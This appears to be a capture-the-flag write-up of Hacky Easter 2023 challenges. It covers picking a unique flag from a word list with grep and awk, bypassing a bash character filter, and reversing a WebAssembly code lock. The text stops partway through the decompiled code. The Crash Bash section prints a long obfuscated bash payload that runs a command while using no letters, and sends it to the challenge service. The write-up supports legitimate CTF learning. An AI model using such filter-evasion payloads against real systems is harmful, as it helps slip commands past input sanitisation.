8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ cat unique.txt|grep '[A-Z]'
he2023{American_address_item_book}
he2023{American_environmental_parent_like}
he2023{Congress_power_size_particular}
he2023{I_nearly_book_bar}
he2023{I_particularly_name_positive}
he2023{TV_economic_respond_race}
he2023{admit_change_start_Congress}
he2023{adult_number_I_year}
he2023{age_Republican_bed_must}
he2023{alone_of_Mrs_trade}
he2023{among_American_author_agreement}
he2023{blood_other_give_I}
he2023{especially_Mrs_cell_majority}
he2023{fall_still_TV_the}
he2023{fund_music_hotel_PM}
he2023{interview_seem_which_Mrs}
he2023{issue_Republican_war_six}
he2023{memory_service_Mr_activity}
he2023{modern_assume_TV_follow}
he2023{money_story_TV_future}
he2023{need_final_name_American}
he2023{never_PM_cover_camera}
he2023{news_Republican_true_actually}
he2023{owner_Mrs_reveal_provide}
he2023{serious_PM_statement_arm}
he2023{standard_risk_impact_I}
he2023{teacher_white_hear_TV}

Mr is the only one with a unique capital word:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat unique.txt|grep '[A-Z][a-z]*' -o | wf
    5	I
    3	M
    3	P
    5	T
    5	V
    2	Congress
    4	Mrs
    4	American
    1	Mr
    3	Republican
Total words: 10

Unique Column Values

I created lists of all the unique words in each column:

and then made this lovely grep:

1
egrep --color=auto '{(Congress|TV|able|about|above|according|across|action|activity|actually|address|administration|admit|adult|affect|against|ago|ahead|air|all|almost|always|animal|another|answer|appear|area|arm|around|art|article|artist|ask|assume|attack|audience|author|available|avoid|ball|bank|bar|before|begin|believe|benefit|best|bill|bit|black|body|box|break|bring|brother|building|buy|camera|campaign|capital|card|career|carry|case|challenge|character|charge|check|choice|choose|city|claim|clear|clearly|cold|color|common|community|computer|conference|consumer|contain|control|could|country|course|crime|culture|cup|current|dark|day|debate|decade|decide|decision|deep|defense|degree|design|despite|develop|development|different|difficult|director|discuss|drug|during|early|easy|education|enjoy|enough|even|evening|evidence|fact|far|father|fear|feeling|field|fight|figure|finally|find|firm|fish|focus|follow|foot|force|foreign|free|friend|front|full|fund|future|get|go|good|government|green|ground|growth|he|head|help|high|history|hold|home|how|human|hundred|idea|imagine|in|individual|industry|inside|instead|involve|kitchen|knowledge|language|last|lay|learn|least|less|letter|light|likely|local|lot|machine|major|manage|management|material|maybe|medical|meet|mention|method|middle|mind|mission|moment|most|movement|much|necessary|need|network|new|newspaper|no|note|notice|number|off|office|officer|on|only|opportunity|or|other|out|over|painting|paper|particularly|pay|per|person|personal|pick|picture|place|point|policy|poor|popular|positive|possible|practice|prepare|president|pressure|prevent|probably|product|production|professional|program|protect|quickly|quite|race|reach|real|reality|recently|recognize|record|red|relationship|religious|represent|research|return|rich|rise|rock|role|rule|safe|school|science|seat|second|section|security|seek|sell|send|sense|show|significant|sing|sister|sit|site|six|size|skin|small|society|someone|something|song|sound|south|southern|space|special|staff|stand|state|stay|stop|story|stuff|success|successful|suffer|summer|surface|system|table|talk|task|teacher|television|tell|term|than|that|their|themselves|theory|these|this|throw|thus|time|today|together|top|training|treat|treatment|tree|trial|trip|trouble|turn|unit|up|us|use|value|various|voice|walk|wall|want|watch|water|way|weight|well|what|whatever|where|who|whole|whom|wind|with|within|work|worry|would|wrong|you|young|your)_(American|ability|able|above|account|across|act|action|add|administration|again|against|agree|air|allow|almost|already|also|among|animal|answer|any|anyone|appear|apply|arrive|art|article|artist|at|attack|audience|authority|avoid|away|baby|base|be|because|before|behavior|behind|both|bring|budget|building|campaign|candidate|capital|car|care|carry|case|central|century|chance|choose|city|clearly|close|collection|college|common|concern|contain|cost|course|cultural|culture|data|daughter|deal|decade|defense|degree|design|develop|development|direction|director|discuss|do|doctor|door|down|draw|east|easy|education|effect|either|end|enough|entire|environmental|especially|establish|event|everybody|evidence|exactly|eye|face|factor|fall|fast|find|finish|firm|first|fish|force|forget|front|full|garden|gas|general|get|give|glass|go|grow|growth|hand|happen|head|health|heart|help|here|herself|history|hit|hope|hot|hotel|house|human|idea|image|impact|improve|in|indicate|industry|inside|into|involve|issue|it|job|join|kid|kitchen|knowledge|late|law|leader|least|leave|leg|let|letter|light|list|little|long|look|low|magazine|major|make|many|media|message|method|model|modern|morning|most|mouth|movie|much|my|name|national|near|necessary|network|never|nice|not|of|officer|official|often|once|only|operation|order|other|our|parent|part|partner|pass|performance|perhaps|phone|pick|position|positive|possible|present|pressure|pretty|process|product|purpose|push|put|quality|quickly|race|radio|ready|real|reason|receive|reduce|reflect|relate|relationship|religious|remain|response|result|risk|road|rule|run|science|sea|season|seat|see|seem|send|sense|series|short|simple|single|sit|site|skill|so|social|someone|soon|sound|source|staff|statement|stop|story|strong|support|sure|system|table|teacher|ten|tend|test|than|thank|the|their|them|there|these|they|think|thought|time|to|today|top|travel|treatment|trial|truth|type|understand|until|use|usually|value|various|voice|vote|water|we|weight|well|west|western|when|where|whether|which|whom|wife|with|within|wonder|write|year|you|your|yourself)_(I|Mr|Mrs|a|about|according|account|activity|actually|admit|adult|agree|agreement|ahead|air|allow|almost|already|amount|analysis|answer|anything|appear|approach|arm|article|as|ask|assume|attack|author|away|baby|bad|ball|bank|base|beat|become|before|behind|believe|best|bill|blood|blue|box|boy|break|bring|business|call|capital|care|career|case|cause|center|certain|certainly|character|child|choice|clear|cold|commercial|conference|contain|control|cost|could|country|couple|course|create|customer|cut|data|deal|deep|describe|develop|development|difference|dinner|direction|discover|discuss|do|dog|draw|dream|during|each|edge|eight|election|end|energy|enjoy|enter|environmental|establish|expert|explain|factor|fall|fast|fear|fight|figure|film|final|financial|find|fire|first|fish|five|floor|foot|forward|four|free|friend|from|future|general|generation|give|goal|good|government|great|green|grow|hair|hand|have|hear|heart|heavy|here|herself|high|him|history|hold|hope|hot|hotel|hour|identify|if|image|impact|important|improve|increase|information|interview|into|involve|itself|key|kid|kind|large|last|later|lawyer|lay|leader|learn|least|leg|let|light|like|line|list|listen|live|long|look|loss|lot|machine|main|make|man|manage|management|manager|market|may|mean|medical|meeting|member|mention|message|million|mind|minute|miss|most|mother|myself|nation|natural|near|new|news|newspaper|nice|night|nor|not|nothing|notice|occur|off|offer|officer|ok|once|one|only|open|outside|page|painting|paper|part|participant|particular|particularly|partner|pass|pay|peace|person|personal|political|popular|population|position|practice|present|president|prevent|product|production|program|project|protect|prove|purpose|push|race|raise|rate|rather|read|real|realize|really|reason|recently|reduce|reflect|report|represent|require|research|rock|rule|same|school|science|second|seek|seem|sell|sense|series|serious|set|shake|share|should|shoulder|show|sign|significant|simple|simply|situation|size|smile|so|soldier|some|soon|south|speak|staff|state|statement|station|step|store|story|strategy|stuff|success|such|support|surface|table|take|talk|task|tax|teach|team|television|tend|term|than|them|theory|there|these|thing|third|this|those|three|together|total|town|trade|traditional|travel|two|type|under|understand|unit|until|upon|value|very|view|visit|voice|vote|want|way|we|west|whatever|where|whether|why|wind|word|worker|would|wrong|you|young|your)_(American|Congress|Mrs|PM|TV|ability|able|action|address|affect|again|agree|air|also|amount|and|animal|another|any|arm|arrive|art|article|ask|attack|attention|authority|base|beat|beautiful|believe|better|beyond|bill|board|book|born|both|break|bring|build|building|buy|can|capital|car|case|cell|center|century|certain|certainly|chair|challenge|chance|change|charge|choice|choose|church|city|claim|clear|close|coach|collection|commercial|common|computer|condition|conference|consumer|contain|couple|cup|current|cut|debate|decade|decision|detail|determine|dinner|direction|discuss|do|down|either|employee|end|energy|enough|enter|environment|environmental|especially|establish|even|event|ever|every|everybody|exist|expect|experience|factor|family|far|fast|father|field|final|finally|find|firm|fish|follow|food|force|former|forward|four|from|game|general|girl|give|great|ground|gun|happy|hard|have|he|health|heart|himself|hold|home|hope|hospital|how|hundred|idea|identify|if|impact|including|information|institution|international|interview|involve|it|itself|join|just|key|last|law|lay|learn|left|let|letter|life|likely|list|little|loss|magazine|man|manage|management|manager|many|may|me|mean|media|medical|memory|message|method|middle|might|military|million|miss|mission|more|morning|most|move|movement|movie|much|music|my|need|new|news|next|nice|night|north|notice|number|offer|office|official|old|once|operation|opportunity|or|other|out|outside|page|painting|partner|people|per|perhaps|person|plant|player|point|policy|political|poor|population|possible|prepare|president|pretty|price|probably|product|provide|put|quality|question|quickly|radio|raise|range|rate|read|real|reality|realize|reason|recent|recognize|region|relationship|religious|remain|result|rich|run|safe|save|say|science|season|see|seem|sell|send|senior|sense|series|serious|service|set|side|single|size|small|society|some|sometimes|son|sort|south|speech|sport|staff|still|stop|store|subject|suffer|support|table|take|task|technology|than|the|their|think|third|threat|three|throughout|throw|total|trade|training|treatment|trip|understand|until|upon|use|very|view|visit|voice|vote|wait|watch|we|what|whatever|when|where|whether|whole|whom|why|wind|window|within|word|world|write|year|your)}' unique.txt

Which returned:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
he2023{address_type_each_car}
he2023{early_race_very_outside}
he2023{education_exactly_market_cup}
he2023{enjoy_case_blood_health}
he2023{language_front_significant_their}
he2023{last_kitchen_dog_action}
he2023{or_event_part_rich}
he2023{practice_animal_account_enough}
he2023{production_within_science_quality}
he2023{represent_pretty_according_window}
he2023{school_stop_lot_break}
he2023{staff_hope_child_amount}
he2023{theory_they_off_when}
he2023{together_end_five_possible}
he2023{wall_leg_require_point}

How about repeated initial letters?

Nothing super promising here:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat unique.txt| egrep '\{(.).*_\1.*_\1'
he2023{among_American_author_agreement}
he2023{cell_course_church_heavy}
he2023{customer_concern_candidate_parent}
he2023{huge_man_hit_half}
he2023{nearly_never_best_newspaper}
he2023{several_street_somebody_represent}
he2023{six_involve_seat_someone}
he2023{sound_simply_wish_see}
he2023{specific_simple_service_two}
he2023{state_laugh_simply_sense}
he2023{study_strong_do_step}

Short? Long?

Nope, nothing unique of either shortest or longest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ cat unique.txt|awk '{print $0, length($0)}' | sort -nk2 | grep 25
he2023{I_nearly_book_bar} 25
he2023{air_bar_beat_note} 25
he2023{fall_still_TV_the} 25
he2023{fine_step_so_mind} 25
he2023{he_draw_yet_owner} 25
he2023{huge_man_hit_half} 25
he2023{in_how_open_treat} 25
he2023{left_how_tree_big} 25
he2023{most_you_cell_nor} 25
he2023{senior_a_nor_meet} 25
he2023{to_or_smile_civil} 25
he2023{top_but_left_then} 25
...
he2023{security_first_easy_catch} 33 # only one 33 long
...
he2023{catch_interesting_above_development} 43
he2023{decade_visit_responsibility_station} 43
he2023{describe_picture_their_organization} 43
he2023{different_product_environment_price} 43
he2023{international_make_board_individual} 43
he2023{local_different_wide_administration} 43
he2023{political_service_generation_career} 43
he2023{politics_democratic_support_between} 43

Tried flags

1
2
3
4
5
6
7
8
he2023{worker_sister_everybody_next}    # No: Had two unique words
he2023{become_attorney_media_become}    # No: two extremely non-unique words.
he2023{memory_service_Mr_activity}      # No: (only use of a unique capitalised word)
he2023{my_PM_whole_part}                # No: re-used letters from left to right.

he2023{security_first_easy_catch}       # ??: Only one 33 long
he2023{among_American_author_agreement} # ??: All beginning with A

Solution

Alright, here it is as a one liner:

1
cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0), $0}' | grep $(cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0)}' | sort | uniq -c | grep ' 1 ' | awk '{print $2}')

p gross.

Misc

wf is pretty nice, I didn’t know such a command existed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ dnf info wf
Installed Packages
Name         : wf
Version      : 0.41
Release      : 28.fc36
Architecture : x86_64
Size         : 39 k
Source       : wf-0.41-28.fc36.src.rpm
Repository   : @System
From repo    : fedora
Summary      : Simple word frequency counter
URL          : http://www.async.com.br/~marcelo/wf/
License      : GPLv2
Description  : wf scans a text file and counts the frequency of words through the
             : whole text.

Flag

he2023{security_first_easy_catch}

Crash Bash

Challenge

Can you crash the bash?

The password is B4sh_br0TH3rs

Connect using nc ch.hackyeaster.com 2303

Note: The service is restarted every hour at x:00.

Hint: Some characters are forbidden, in the whole string you enter.`

Solution

We connect and quickly find out we cannot use any lowercase letters in our commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc ch.hackyeaster.com 2303
Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$ a
Invalid input, bash crashed!
crashbash$ b
Invalid input, bash crashed!
crashbash$ 1
/bin/bash: line 1: 1: command not found
crashbash$ 2
/bin/bash: line 1: 2: command not found
crashbash$ _
/bin/bash: line 1: _: command not found
crashbash$ A
/bin/bash: line 1: A: command not found
crashbash$

so we have to find a way to call /printflag.sh B4sh_br0TH3rs without using any lowercase letters, hmm..

Luckily we find an AMAZING program called bashfuck which will do just that for us, convert any command to a version that doesn’t use any alphnumeric characters!

So we download it (copy here), and ask it to construct our command for us:

1
2
3
4
5
6
7
8
9
10
11
12
$ ./bashfuck.sh /printflag.sh B4sh_br0TH3rs
cmd: `/printflag.sh B4sh_br0TH3rs`
result (1960 byte): ${!#}<<<{$\'\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${
##}))#${##}$#${##}))$#\',$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\',
$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##
}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${
##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$((${##}<<$((${##}<<${##}))))$((
$((${##}<<${##}))#${##}${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${#
#}<<${##}))#${##}$#${##}))$#\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$#$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$
(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<
${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$((${##}<<${##}))$((${##}<<$((${##}<<${##}))))\\${##}${##}$#\\$#$(($((${##}<<${##}))#$
{##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\'}

And now we just connect to the service and enter our command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$  nc ch.hackyeaster.com 2303
Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$ ${!#}<<<{$\'\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${
##}))#${##}$#${##}))$#\',$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\',
$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##
}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${
##}<<${##}))))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$((${##}<<$((${##}<<${##}))))$((
$((${##}<<${##}))#${##}${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${#
#}<<${##}))#${##}$#${##}))$#\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$#$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$
(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<
${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$((${##}<<${##}))$((${##}<<$((${##}<<${##}))))\\${##}${##}$#\\$#$(($((${##}<<${##}))#$
{##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\'}
Congrats, here's your flag:
he2023{gr34t_b4sh_succ3ss!}
crashbash$

succes!

Flag

he2023{gr34t_b4sh_succ3ss!}

Code Locked

Challenge

Open the code lock at http://ch.hackyeaster.com:2311 to get your 🚩 flag.

Note: The service is restarted every hour at x:00.

Solution

We get a website with a number pad, where we are told to enter 8 numbers, then hit ‘#’ to open

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html lang="en">

<head>
    <title>code locked</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
    <link type="text/css" rel="stylesheet" href="main.css">
    <script src="jquery.js"></script>
    <script src="main.js"></script>
</head>

<body>
    <div id="codelock">
        <img id="lock" src="lock.png" class="center" usemap="#lockmap">
        <map name="lockmap">
            <area shape="circle" coords="111,178,32" alt="1" onclick="press('1')">
            <area shape="circle" coords="200,178,32" alt="1" onclick="press('2')">
            <area shape="circle" coords="283,178,32" alt="1" onclick="press('3')">
            <area shape="circle" coords="111,261,32" alt="1" onclick="press('4')">
            <area shape="circle" coords="200,261,32" alt="1" onclick="press('5')">
            <area shape="circle" coords="283,261,32" alt="1" onclick="press('6')">
            <area shape="circle" coords="111,345,32" alt="1" onclick="press('7')">
            <area shape="circle" coords="200,345,32" alt="1" onclick="press('8')">
            <area shape="circle" coords="283,345,32" alt="1" onclick="press('9')">
            <area shape="circle" coords="111,427,32" alt="1" onclick="press('*')">
            <area shape="circle" coords="200,427,32" alt="1" onclick="press('0')">
            <area shape="circle" coords="283,427,32" alt="1" onclick="press('#')">
        </map>
        <img id="green" class="overlay" src="green.png">
        <img id="yellow" class="overlay" src="yellow.png">
        <img id="red" class="overlay" src="red.png">
    </div>
    <div id="text">
        * to clear | 8 numbers | # open
    </div>
</body>

</html>

We look through the javascript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
code = "";

var audioDelete = new Audio("delete.mp3");
audioDelete.load();
var audioClick = new Audio("click.wav");
audioClick.load();
var audioSuccess = new Audio("success.mp3");
audioSuccess.load();
var audioFail = new Audio("fail.mp3");
audioFail.load();

wasmMemory = null;
wasmCheck = null;

function checkWASM(code) {
    const pinArray = new Int32Array(wasmMemory.buffer, 0, 26);
    encode(code, pinArray);
    wasmCheck(pinArray.byteOffset, pinArray.length);
    return decode(pinArray);
}

function play(file) {
    a = new Audio(file);
    a.play();
}

function press(input) {
    if (input == "*") {
        play("delete.mp3");
        $("#yellow").show(0).delay(200).hide(0);
        code = "";
    } else if (input == "#") {
        msg = checkWASM(code);
        if (msg.startsWith("he2023")) {
            play("success.mp3");
            audioSuccess.play();
            $("#green").show(0).delay(5000).hide(0);
        } else {
            play("fail.mp3");
            $("#red").show(0).delay(1000).hide(0);
        }
        setTimeout(function() {alert(msg);}, 200)
    } else {
        $("#yellow").show(0).delay(200).hide(0);
        play("click.wav");
        code = (code + input).substr(-8, 8);
    }
}

const encode = function stringToIntegerArray(string, array) {
    for (let i = 0; i < string.length; i++) {
        array[i] = string[i].charCodeAt(0);
    }
};

const decode = function integerArrayToString(array) {
    let string = "";
    for (let i = 0; i < array.length; i++) {
        string += String.fromCharCode(array[i]);
    }
    return string;
};

$(document).ready(function () {
    (async () => {
        const response = await fetch("check.wasm");
        const file = await response.arrayBuffer();
        const wasm = await WebAssembly.instantiate(file);
        const {memory, check} = wasm.instance.exports;
        wasmMemory = memory;
        wasmCheck = check;
    })();
})

and see that it’s calling a WASM code file to parse the input number. So we can start by ignoring all of the JS and just focusing on the WASM bits:

1
wasm2js check.wasm

wasm2js from binaryen can be installed from at least the fedora repositories, and produces nicer, easier to read javascript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
function Table(ret) {
  // grow method not included; table is not growable
  ret.set = function(i, func) {
    this[i] = func;
  };
  ret.get = function(i) {
    return this[i];
  };
  return ret;
}

  var bufferView;
  var base64ReverseLookup = new Uint8Array(123/*'z'+1*/);
  for (var i = 25; i >= 0; --i) {
    base64ReverseLookup[48+i] = 52+i; // '0-9'
    base64ReverseLookup[65+i] = i; // 'A-Z'
    base64ReverseLookup[97+i] = 26+i; // 'a-z'
  }
  base64ReverseLookup[43] = 62; // '+'
  base64ReverseLookup[47] = 63; // '/'
  /** @noinline Inlining this function would mean expanding the base64 string 4x times in the source code, which Closure seems to be happy to do. */
  function base64DecodeToExistingUint8Array(uint8Array, offset, b64) {
    var b1, b2, i = 0, j = offset, bLength = b64.length, end = offset + (bLength*3>>2) - (b64[bLength-2] == '=') - (b64[bLength-1] == '=');
    for (; i < bLength; i += 4) {
      b1 = base64ReverseLookup[b64.charCodeAt(i+1)];
      b2 = base64ReverseLookup[b64.charCodeAt(i+2)];
      uint8Array[j++] = base64ReverseLookup[b64.charCodeAt(i)] << 2 | b1 >> 4;
      if (j < end) uint8Array[j++] = b1 << 4 | b2 >> 2;
      if (j < end) uint8Array[j++] = b2 << 6 | base64ReverseLookup[b64.charCodeAt(i+3)];
    }
  }
function initActiveSegments(imports) {
  base64DecodeToExistingUint8Array(bufferView, 1024, "WAAAAFQAAAAGAAAABQAAAAAAAAAKAAAATQAAAEEAAAADAAAAUwAAAAAAAAAAAAAABwAAAAoAAABbAAAADgAAAAEAAABIAAAAawAAAAQAAAAHAAAAZgAAAHAAAABjAAAAfgAAAEwAAAAAAAAAAAAAAFgAAABUAAAABgAAAAUAAAAAAAAACgAAAE0AAABBAAAAAwAAAFMAAAAAAAAAAAAAAAcAAAAKAAAAWwAAAA4AAAABAAAASAAAAGsAAAAEAAAABwAAAGYAAABwAAAAYwAAAH4AAABMAAAAAAAAAAAAAABZAAAAbwAAAHUAAAAgAAAAZAAAAGkAAABkAAAAIAAAAG4AAABvAAAAdAAAACAAAABvAAAAcAAAAGUAAABuAAAAIAAAAHQAAABoAAAAZQAAACAAAABsAAAAbwAAAGMAAABrAAAAIQAAAA==");
}
function asmFunc(env) {
 var buffer = new ArrayBuffer(16777216);
 var HEAP8 = new Int8Array(buffer);
 var HEAP16 = new Int16Array(buffer);
 var HEAP32 = new Int32Array(buffer);
 var HEAPU8 = new Uint8Array(buffer);
 var HEAPU16 = new Uint16Array(buffer);
 var HEAPU32 = new Uint32Array(buffer);
 var HEAPF32 = new Float32Array(buffer);
 var HEAPF64 = new Float64Array(buffer);
 var Math_imul = Math.imul;
 var Math_fround = Math.fround;
 var Math_abs = Math.abs;
 var Math_clz32 = Math.clz32;
 var Math_min = Math.min;
 var Math_max = Math.max;
 var Math_floor = Math.floor;
 var Math_ceil = Math.ceil;
 var Math_trunc = Math.trunc;
 var Math_sqrt = Math.sqrt;
 var abort = env.abort;
 var nan = NaN;
 var infinity = Infinity;
 var global$0 = 5244240;
 var global$1 = 0;
 var global$2 = 0;
 function $1($0) {
  $0 = $0 | 0;
  var $3_1 = 0;
  $3_1 = global$0 - 16 | 0;
  HEAP32[($3_1 + 12 | 0) >> 2] = $0;
  HEAP32[($3_1 + 8 | 0) >> 2] = 0;
  label$1 : {
   label$2 : while (1) {
    if (!((HEAP32[($3_1 + 8 | 0) >> 2] | 0 | 0) < (26 | 0) & 1 | 0)) {
     break label$1
    }
    HEAP32[($3_1 + 4 | 0) >> 2] = ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 4 | 0 | 0) % (8 | 0) | 0;
    HEAP32[(1136 + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] = (HEAP32[(1024 + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] | 0) ^ (HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + ((HEAP32[($3_1 + 4 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] | 0) | 0;
    HEAP32[($3_1 + 8 | 0) >> 2] = (HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 1 | 0;
    continue label$2;
   };
  }
  HEAP32[$3_1 >> 2] = 0;
  label$3 : {
   label$4 : while (1) {
    if (!((HEAP32[$3_1 >> 2] | 0 | 0) < (26 | 0) & 1 | 0)) {
     break label$3
    }
    HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + ((HEAP32[$3_1 >> 2] | 0) << 2 | 0) | 0) >> 2] = HEAP32[(1136 + ((HEAP32[$3_1 >> 2] | 0) << 2 | 0) | 0) >> 2] | 0;
    HEAP32[$3_1 >> 2] = (HEAP32[$3_1 >> 2] | 0) + 1 | 0;
    continue label$4;
   };
  }
  return;
 }

 function $2($0) {
  $0 = $0 | 0;
  var $3_1 = 0;
  $3_1 = global$0 - 16 | 0;
  HEAP32[($3_1 + 12 | 0) >> 2] = $0;
  HEAP32[($3_1 + 8 | 0) >> 2] = 0;
  label$1 : {
   label$2 : while (1) {
    if (!((HEAP32[($3_1 + 8 | 0) >> 2] | 0 | 0) < (26 | 0) & 1 | 0)) {
     break label$1
    }
    HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] = HEAP32[(1248 + ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) << 2 | 0) | 0) >> 2] | 0;
    HEAP32[($3_1 + 8 | 0) >> 2] = (HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 1 | 0;
    continue label$2;
   };
  }
  return;
 }

 function $3($0) {
  $0 = $0 | 0;
  var $3_1 = 0;
  $3_1 = global$0 - 16 | 0;
  global$0 = $3_1;
  HEAP32[($3_1 + 12 | 0) >> 2] = $0;
  HEAP32[($3_1 + 8 | 0) >> 2] = 48;
  label$1 : {
   label$2 : {
    if (!((HEAP32[(HEAP32[($3_1 + 12 | 0) >> 2] | 0) >> 2] | 0 | 0) != ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) + 2 | 0 | 0) & 1 | 0)) {
     break label$2
    }
